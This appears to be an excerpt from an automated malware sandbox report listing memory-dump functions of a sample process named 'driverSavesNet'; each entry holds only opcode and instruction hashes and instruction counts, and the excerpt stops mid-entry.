Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad58e8ba05224cc4f33aa50297a5fea13d7df84d1e139479bdd40134347023b5
Instruction ID: fb4b0d690061cd8cbc7b62233bd38c3e2f7a6878f5217fd38566c0ecd5fc5e7e
Opcode Fuzzy Hash: ad58e8ba05224cc4f33aa50297a5fea13d7df84d1e139479bdd40134347023b5
Instruction Fuzzy Hash: 4F31D271B1AA0E9FDB28EFA8C4A28B8B7A1FF54310B114139D01ED7292DF257D12C780

Function 00007FFD9BE95715 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74748eaca7168a750eabb5a4e5a50b432a8687c249511acee51d3dd9e35302b8
Instruction ID: 41be73ef7ec77eea76acf2441e3fb4ba4d5bfa929c086498ad1354140898020e
Opcode Fuzzy Hash: 74748eaca7168a750eabb5a4e5a50b432a8687c249511acee51d3dd9e35302b8
Instruction Fuzzy Hash: 4C313B30A0A74ECFEB68DB94C4A15BD77F5FF54340F62067AD00ED21A1DA3A6B488B41

Function 00007FFD9BE9C97D Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 778e0491197a200f14c16d34785e185797678c2dd70cee844787f5b35ec817fa
Instruction ID: 8c6c6f476ab7ce56508d3bf59515e9223c07055d52895d9bba82e768a878b55f
Opcode Fuzzy Hash: 778e0491197a200f14c16d34785e185797678c2dd70cee844787f5b35ec817fa
Instruction Fuzzy Hash: D1319271B0AA0E9FDB58EBACC4A25A9B3A1FF58310B414139D00ED7292DF357D66C781

Function 00007FFD9BE9A745 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926f4ca6cf42e69cc924bb6976b16ed40f1ac8c43b5ae8af931e6f08c2515306
Instruction ID: 2996bc460a76e0cb553d4c90c3e7daf5f53cd1329a48555c70c4b368b5442efe
Opcode Fuzzy Hash: 926f4ca6cf42e69cc924bb6976b16ed40f1ac8c43b5ae8af931e6f08c2515306
Instruction Fuzzy Hash: D1317C38A1E54ECFDBB8DB8484665BD7BB5FF44300F52127AD40EC21A1DB3A6A489741

Function 00007FFD9BE9CECD Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcb59d9d7aac0060921c8031b102baf4dd86119f5e61732dfe46e40160898da0
Instruction ID: 85603c120eb2d4649c5e8effa9e50b2ad151637c95ff1af942182d894111b503
Opcode Fuzzy Hash: bcb59d9d7aac0060921c8031b102baf4dd86119f5e61732dfe46e40160898da0
Instruction Fuzzy Hash: 32217952B1FACE0FD756E77848755A17BE4EF56154B0442FBE09ACB5E3DE086809C301

Function 00007FFD9BE97B75 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25905507842effa002a6c59d879469b17af010a67e5edf7430b85f026ce0d020
Instruction ID: b78aaa487900e20a6e2ce88000666902eaeafffd99a4e23385851bdc6d86c3e9
Opcode Fuzzy Hash: 25905507842effa002a6c59d879469b17af010a67e5edf7430b85f026ce0d020
Instruction Fuzzy Hash: 20210971F0E60E4FEB68E7A888322E877D6FF58310F150179D05DC72D2EE29690A4384

Function 00007FFD9BA90998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 548c4964125ac2325a2a4ce5309c91ca0a9b1934c538191dddbd1b814294e0db
Instruction ID: 085cf5a737fd00b7b484f637abc975a3336cfb4096c7012e85e2752a6f05f8d3
Opcode Fuzzy Hash: 548c4964125ac2325a2a4ce5309c91ca0a9b1934c538191dddbd1b814294e0db
Instruction Fuzzy Hash: 86213720B19A1D0FF758F76C84AEA7932C6EF98361B5502BAE40DC32E6DD54AC418244

Function 00007FFD9BE9CA54 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b23b6140accb058b605494086b4c7ed4a262d2bb2499732c4427e97424ab756
Instruction ID: 9d90c7ce0245c2db54adc1ebca6f405c3e8295bd3b71821247a21b0b992d01fd
Opcode Fuzzy Hash: 1b23b6140accb058b605494086b4c7ed4a262d2bb2499732c4427e97424ab756
Instruction Fuzzy Hash: 50214631F1E64D4FEB6CE7A888722A877E4EF49314F150179D00EC72E3D9296A0A8340

Function 00007FFD9BE99631 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1f5c103037955f604806537c442fba36d81defa30ea02d0c1cdc2bc68a316b
Instruction ID: acb94deeee19d8ada260f83f5fed0416f5c623c001d741fe7decfa7ad2d04078
Opcode Fuzzy Hash: fa1f5c103037955f604806537c442fba36d81defa30ea02d0c1cdc2bc68a316b
Instruction Fuzzy Hash: 7B319D14A1E1DA4BF739875884785B47B54FF4230071E47BAD087CB1EBC81D7689C341

Function 00007FFD9BE94600 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d198d041eae551e9798d3e78d90fbbc2571dce9910c7ff28d7f926ded1433c
Instruction ID: 0a25bc108f6749e3efb03f035ee9c909ab4063074d9e0465946a7e2a0c703d70
Opcode Fuzzy Hash: 95d198d041eae551e9798d3e78d90fbbc2571dce9910c7ff28d7f926ded1433c
Instruction Fuzzy Hash: 9D317D60A1E59B4BE73A875884709747BB5EF5130071A46FED09BCB0E7C83DB989C341

Function 00007FFD9BE97FED Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8812797a9a29f810fbfde126a69d4530caf09b88994d6e8e5bf769cfb8c7cf87
Instruction ID: 32c09f39b833bed49f668ddd35b623c7a317d5fb830cde1114d5a2b8c3202efb
Opcode Fuzzy Hash: 8812797a9a29f810fbfde126a69d4530caf09b88994d6e8e5bf769cfb8c7cf87
Instruction Fuzzy Hash: 1A21495260FACE5FE7525B7848255A57FA4EF1639470402FBD0CAC70A3DE19250DC351

Function 00007FFD9BE90120 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de2092e3e7fd4d0e91d0f7ff12813b61874b3c788c85234f672e88191635e5bf
Instruction ID: 18dae83d31d464f81405fa1229a0d26c0c360381e3530fe697dbefcc9377ac32
Opcode Fuzzy Hash: de2092e3e7fd4d0e91d0f7ff12813b61874b3c788c85234f672e88191635e5bf
Instruction Fuzzy Hash: CC312C30B1AE0EDBEBA8DB9484615BD76B5FF48300F51017AD41ED21B2CA3A7A5897C1

Function 00007FFD9BE95F08 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b5aaf43805135b3aedb81be5ab97aeac40f66dcc44fc7a7d325605c999504f
Instruction ID: a177997a06c3264b3dd3231f09b19f2e00e7c5fe02da881507e368500ac4c1ea
Opcode Fuzzy Hash: 91b5aaf43805135b3aedb81be5ab97aeac40f66dcc44fc7a7d325605c999504f
Instruction Fuzzy Hash: F1214F31E19A4DCFDBA8DF98D8609ECBBB1FF58310F110179D40AE72A1DB256A05DB50

Function 00007FFD9BE91A22 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40cf74575d961a465921be8750a380ca2abbbced15984cbddb03f37ec61b6d1e
Instruction ID: a55a75cbfa331e3dc1879e14106e50aead5d60485058f4566f998b65328ee9e8
Opcode Fuzzy Hash: 40cf74575d961a465921be8750a380ca2abbbced15984cbddb03f37ec61b6d1e
Instruction Fuzzy Hash: 7B21D971A0991D9FDF9CDB58C4A5AEDB7B1FF68310F0141AAD00EE3291CA75AA418B41

Function 00007FFD9BE97AD2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efb592b673bfcbc2b2ff5184812c3c11dc3493e895d9d5cbcf43eccaec23e881
Instruction ID: 128ab03c6a946e411d96d2fc5077190dc7a042392ca46634cf12474ae6693078
Opcode Fuzzy Hash: efb592b673bfcbc2b2ff5184812c3c11dc3493e895d9d5cbcf43eccaec23e881
Instruction Fuzzy Hash: E421D371B1EA0E8FDB58EBA8C4A18A8F7A1FF58310B154179D01ED3692DF247D56CB80

Function 00007FFD9BE9ADC8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9125bf86818076e49beae082b38c619b36237670406f6f4d35787e5b4eaf3257
Instruction ID: 11d46579795fd6d440bd53087cf83df757211a02534bfa5ed1f0562d89c31ebe
Opcode Fuzzy Hash: 9125bf86818076e49beae082b38c619b36237670406f6f4d35787e5b4eaf3257
Instruction Fuzzy Hash: AC216A35E1DA5D8FDBA8DB98D8A05ADBBB1FF58300F00057AD00AE7291DA35A9458B40

Function 00007FFD9BE916FA Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 016e9950446ff34753fad37b4f7d1cd19fac7a6638ba69dc97f3476df8d8d659
Instruction ID: ffdae785b0f5a238b434f8cfb30461933205a8036d8be09ee4809a3b49e68bad
Opcode Fuzzy Hash: 016e9950446ff34753fad37b4f7d1cd19fac7a6638ba69dc97f3476df8d8d659
Instruction Fuzzy Hash: 3B21A411E4F2CB6BF33A42B458305B96E551F43264F1A03FAE199CA0E3DD8E165D9393

Function 00007FFD9BE979F9 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1c4b0184ceb241968a58a96e4484351795a8b18f6390a38ea92b82bbfb946a
Instruction ID: 17a42780a41ff49fb53b2295a8c01c87c122be900529b0511d6466a3bfbd1600
Opcode Fuzzy Hash: cc1c4b0184ceb241968a58a96e4484351795a8b18f6390a38ea92b82bbfb946a
Instruction Fuzzy Hash: 54117B31B0F74D5FE77586A448206E93AA5DF1A340F060177D009D71A1DEA92E4D8361

Function 00007FFD9BE90158 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bda67aa970aef554d8be1499f0cbd5abee778d78bae63464dfd1bb00a4d02ce
Instruction ID: fd4cb0d9551c6d65bfac9c501dc1f7c64fd6c6da2c41d22fbb7ee03a5c0d3306
Opcode Fuzzy Hash: 0bda67aa970aef554d8be1499f0cbd5abee778d78bae63464dfd1bb00a4d02ce
Instruction Fuzzy Hash: 9E219210A1D46A8BE73C824884B06B86659FF50311B354A75F59B8B4AFEC29BA8D9780

Function 00007FFD9BE929C9 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a50178ffa65e75b6ca80c61156aa701dfcd6bb93f0ca07abe83796ea0139045
Instruction ID: 26872927e747e8ef33a8bd9cd2cec1abb4580bf0ea4c6c93bd6b9a7161a4301a
Opcode Fuzzy Hash: 1a50178ffa65e75b6ca80c61156aa701dfcd6bb93f0ca07abe83796ea0139045
Instruction Fuzzy Hash: 34112632F0F78D0FEB7996E448641FA3BE5DF1A350F050177E00AD71A2D96D2A4983A1

Function 00007FFD9BE96A69 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8184b00f47c2dc9b6fd991f50207ebcd1a22fc0ba9f21f3685dae6e8792919a4
Instruction ID: 558cd6b9e11362b527666b1a9e999f551f69d854528de83ededcab58f2d6da32
Opcode Fuzzy Hash: 8184b00f47c2dc9b6fd991f50207ebcd1a22fc0ba9f21f3685dae6e8792919a4
Instruction Fuzzy Hash: 5E214A31A0A50D9FDBACDB58C466AADB7B1FF58350F0141BEE00EE32A1CE75A9408B00

Function 00007FFD9BA90C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47f3d2b1f9cf2724be0767b61a311cfc93003490a5ac7e31b191f11de5d9e15
Instruction ID: a15c40e03fd5eae31e0510ce95dbb2d8c3a6d449186e3748729fd9b05b89339a
Opcode Fuzzy Hash: c47f3d2b1f9cf2724be0767b61a311cfc93003490a5ac7e31b191f11de5d9e15
Instruction Fuzzy Hash: A5212332A0D28D8FE722DBA888510DD7FB0EF42264F1642B7D094DB1D2D534264AD384

Function 00007FFD9BE94630 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04d4d9b3ebc386a063b7ddb25e0aba0f1de825635737d4d58039c900fbc434ea
Instruction ID: 5b664b6d4cada66fc54e758c711405e5117fb42cc8c07cc2c764413cc3355829
Opcode Fuzzy Hash: 04d4d9b3ebc386a063b7ddb25e0aba0f1de825635737d4d58039c900fbc434ea
Instruction Fuzzy Hash: 2C110A60A1E46F87F73C864884709B572B9FF90301B26467DD45B8B4EBC93DBA859380

Function 00007FFD9BE986DC Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46626e5333a57c09cda00807af799a18a5f4004a2cef77890bc41bca3dfba67
Instruction ID: 9e5c8605e69af2bfc854828a845847e7cbe824512a16706b78bc60706ffe8399
Opcode Fuzzy Hash: d46626e5333a57c09cda00807af799a18a5f4004a2cef77890bc41bca3dfba67
Instruction Fuzzy Hash: 3C117D32B1AA4E4FD729EB7088209FA7790EF51394B01067BE44ECB5F2DE28650D8390

Function 00007FFD9BE99660 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29f0a7a4ed42f80cffca5355365c695c08c935393660d6588bb9a5c226d482ca
Instruction ID: 238ed4095f75f3e1167579fe49fdaaea0073607acae99c96e0dc251698d7cefe
Opcode Fuzzy Hash: 29f0a7a4ed42f80cffca5355365c695c08c935393660d6588bb9a5c226d482ca
Instruction Fuzzy Hash: 36112024B1D46F87FA3C8A4884785B47255FF94341B594775D05BCB2EBCC2DBA849380

Function 00007FFD9BE9D5C0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2ffe033129888a5bd3a6d492f384464deaedd9accb202671edc947b5423642
Instruction ID: 0a2917b59d9a12a130a5197954378b722e8f97cfaf8a72ff75ccb1bf4682e589
Opcode Fuzzy Hash: 6e2ffe033129888a5bd3a6d492f384464deaedd9accb202671edc947b5423642
Instruction Fuzzy Hash: A211C431F19A0E8BDB65EA6584205FA73A4EF54354F40463AE44EC75E3DE29BA088790

Function 00007FFD9BE936B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af4a5441cbe6c36954fa67ee8e321b480d504cfe239d290de0f11d67e10b2272
Instruction ID: df780568961fd7891bebd3ec6951309960c1db75283f7ce6d91df7adf22c9339
Opcode Fuzzy Hash: af4a5441cbe6c36954fa67ee8e321b480d504cfe239d290de0f11d67e10b2272
Instruction Fuzzy Hash: F2110A31B19A0E4FDB65FB64C4215FA77B0EF64355B00063AE40EC75E2DE39B9098390

Function 00007FFD9BE9B950 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af47a077f1f6749208635624673dc042efd68a214a290e5d187c61b1cc9382c1
Instruction ID: f5962e4838e8412b58844689f07aa8025d822537b2c76e26de8f8c0cdcef4281
Opcode Fuzzy Hash: af47a077f1f6749208635624673dc042efd68a214a290e5d187c61b1cc9382c1
Instruction Fuzzy Hash: 2E111930A1991D8FDFACDB68C8A5ABDB7B1EF58310F0101BEE40ED32A1CE3569408B40

Function 00007FFD9BE90130 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa7fe6b45e083d23049a204f5a8152d6da7661bb1f53116026e5c0a929fabb63
Instruction ID: 4c4bf4b5c3b5ddff6ff5a268b4224ebf119c24e7b9d95da743cf429d6d73a7cf
Opcode Fuzzy Hash: aa7fe6b45e083d23049a204f5a8152d6da7661bb1f53116026e5c0a929fabb63
Instruction Fuzzy Hash: 19014932F0EB5D4BE774E5A848292BE36D9DB55340F020537E40ED73A2EE553E494391

Function 00007FFD9BE96A90 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a3b525ceaa1d56196d3c4fe7d5a13f5f28478e3bdcb8b77ff15cbd6bc89db6f
Instruction ID: e71c647f2965612046c0ca424502b57f69b72cde5c5862658f827b2493a583f0
Opcode Fuzzy Hash: 5a3b525ceaa1d56196d3c4fe7d5a13f5f28478e3bdcb8b77ff15cbd6bc89db6f
Instruction Fuzzy Hash: CD110731A1990D8FDBACDB58C865AADB7B1FF58350F4001BEA00EE32A1DE75A9408B00

Function 00007FFD9BE9D43E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d151392e2a6d848a7878cef0aee0f45a94af9adb7328d1f1235028f2d9882
Instruction ID: 0a1af70dde1f4b6921f41a918f67d989cf820f9854e16615a20bb72d268e3b6e
Opcode Fuzzy Hash: a22d151392e2a6d848a7878cef0aee0f45a94af9adb7328d1f1235028f2d9882
Instruction Fuzzy Hash: 46116B32B0650E8FE714AA98D4602F53394EF65355F11413AD80EC72E1DE36AA588790

Function 00007FFD9BE9855E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b44928dabea946576e51a2207f0f5e562cc5128ae954c4a87608712c47b4b117
Instruction ID: 3924c8d4df771ce7a36178a2d3a00fdf32229bb3bd34c0c50497f574dd401173
Opcode Fuzzy Hash: b44928dabea946576e51a2207f0f5e562cc5128ae954c4a87608712c47b4b117
Instruction Fuzzy Hash: 66116B3270650E8FE725AE98D4606F63394EF64391F11013BD80DC76F1DE35AA548790

Function 00007FFD9BE9352E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47fb28b732bd81e22bef30bc5deb2ea69b73e514f4f4cd50dea016c9a364130b
Instruction ID: 1b67a099a57ac9512259adeaa749252852f4a6fd6ce63b11e8c378185dc4c3dc
Opcode Fuzzy Hash: 47fb28b732bd81e22bef30bc5deb2ea69b73e514f4f4cd50dea016c9a364130b
Instruction Fuzzy Hash: F0116B3270A50E8FEB15EF98D4642F53394EF65351F11013AD80EC73E2DE35AA548790

Function 00007FFD9BA93C97 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8c5bbec56d175810a1cb8bbc1e88806036c686aca374bf5fe537628f8d820c
Instruction ID: 16e54675527f9a4bce209f60aae159e21e390e8a6b1545b54a60d9b50641d0df
Opcode Fuzzy Hash: ba8c5bbec56d175810a1cb8bbc1e88806036c686aca374bf5fe537628f8d820c
Instruction Fuzzy Hash: DE11C630F1E50D4BEB74E75898766B832E1FF58740F0101B9D81ED32F2EE686A405686

Function 00007FFD9BA90C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb663370a1d5a2e96abb6764a25c7595e44aa8e319951c566ba7ae29df7f8b8
Instruction ID: 34fe6c789357527cb46caa289b8cf7660a712a6b623258d6f1a10af7be305ac0
Opcode Fuzzy Hash: 7cb663370a1d5a2e96abb6764a25c7595e44aa8e319951c566ba7ae29df7f8b8
Instruction Fuzzy Hash: A7112531A0E78D8FE722DBA8C8511DD7FB0DF42310F1601B7D090DB2A2D574264A8780

Function 00007FFD9BE92B99 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c55a5fa89aa64ba0fa6569e1d449cb6a9e8632dc48d4bf5d4b691abda2b9a842
